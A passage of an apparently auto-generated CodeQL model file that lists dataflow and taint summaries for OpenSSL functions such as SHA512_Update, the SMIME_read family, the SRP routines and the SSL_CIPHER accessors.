"", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SM2_Ciphertext_free", "(SM2_Ciphertext *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SM2_Ciphertext_free", "(SM2_Ciphertext *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SMIME_crlf_copy", "(BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1", "(BIO *,BIO **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS", "(BIO *,BIO **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7", "(BIO *,BIO **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_ASN1_ex", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1_ex", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_CMS", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_CMS", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_PKCS7", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_PKCS7", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_B_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_client_key_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_server_key", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_u", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Calc_u_ex", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[*1]", "Argument[*0].Field[**users_pwd].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[*1]", "Argument[*0].Field[**users_pwd].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[1]", "Argument[*0].Field[**users_pwd].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_add0_user", "(SRP_VBASE *,SRP_user_pwd *)", "", "Argument[1]", "Argument[*0].Field[**users_pwd].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get1_by_user", "(SRP_VBASE *,char *)", "", "Argument[*1]", "ReturnValue[*].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get1_by_user", "(SRP_VBASE *,char *)", "", "Argument[1]", "ReturnValue[*].Field[**id]", "taint", "dfc-generated"] + - ["", "", True, "SRP_VBASE_get_by_user", "(SRP_VBASE *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SRP_VBASE_get_by_user", "(SRP_VBASE *,char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_VBASE_new", "(char *)", "", "Argument[*0]", "ReturnValue[*].Field[**seed_key]", "value", "dfc-generated"] + - ["", "", True, "SRP_VBASE_new", "(char *)", "", "Argument[0]", "ReturnValue[*].Field[**seed_key]", "taint", "dfc-generated"] + - ["", "", True, "SRP_Verify_A_mod_N", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "SRP_Verify_B_mod_N", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[*5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier", "(const char *,const char *,char **,char **,const char *,const char *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[*4]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[*5]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SRP_create_verifier_BN_ex", "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_create_verifier_ex", "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**v]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set0_sv", "(SRP_user_pwd *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*v]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**info]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**id]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set1_ids", "(SRP_user_pwd *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[**info]", "taint", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**N]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "SRP_user_pwd_set_gN", "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*N]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_description", "(const SSL_CIPHER *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_description", "(const SSL_CIPHER *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_bits", "(const SSL_CIPHER *,int *)", "", "Argument[*0].Field[*alg_bits]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_bits", "(const SSL_CIPHER *,int *)", "", "Argument[*0].Field[*strength_bits]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_id", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_get_protocol_id", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*id]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_standard_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[**stdname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CIPHER_standard_name", "(const SSL_CIPHER *)", "", "Argument[*0].Field[*stdname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get0_name", "(const SSL_COMP *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get0_name", "(const SSL_COMP *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_id", "(const SSL_COMP *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_set0_compression_methods", "(stack_st_SSL_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_COMP_set0_compression_methods", "(stack_st_SSL_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, 